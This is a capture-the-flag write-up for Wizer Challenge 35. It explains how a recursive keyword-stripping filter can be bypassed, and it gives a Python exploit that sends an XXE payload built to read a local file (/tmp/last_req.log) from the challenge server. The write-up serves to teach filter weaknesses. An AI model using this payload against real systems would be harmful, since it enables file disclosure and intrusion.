Wizer - Challenge 35 - XXE with recursive waf bypass
This was a FUN one.
The app was implementing this WAF:
const removeSubstringSecurely = function(text, substring) {
if (String(text).includes(substring)) {
return removeSubstringSecurely(text.replace(substring, ''), substring);
}
return text;
}
const sanitizeInput = (input) => {
let text = removeSubstringSecurely(input, "<!");
text = removeSubstringSecurely(text, "SYSTEM");
text = removeSubstringSecurely(text, "ENTITY");
text = removeSubstringSecurely(text, "DOCTYPE");
return text;
}
It is in fact removing the keywords recursively, but in order, so if we put the following:
<DOCTYPE!ENDOCTYPETITY
Every DOCTYPE keyword match is going to be removed, leaving us with a valid <!ENTITY tag.
Exploit
import requests
url = "https://chal35-g7sg4j.vercel.app"
r = requests.post(url + "/getCRMUsers", json={
"apiKey": "pelele"
})
print(r.text)
# waf removing recursively but only the same keyword, not others
r = requests.post(url + "/createCard", json={
"firstName": "\"><DOCTYPE!ENDOCTYPETITY xxe SYSTEDOCTYPEM \"file:///tmp/last_req.log",
"role": "&xxe;"
})
print(r.text)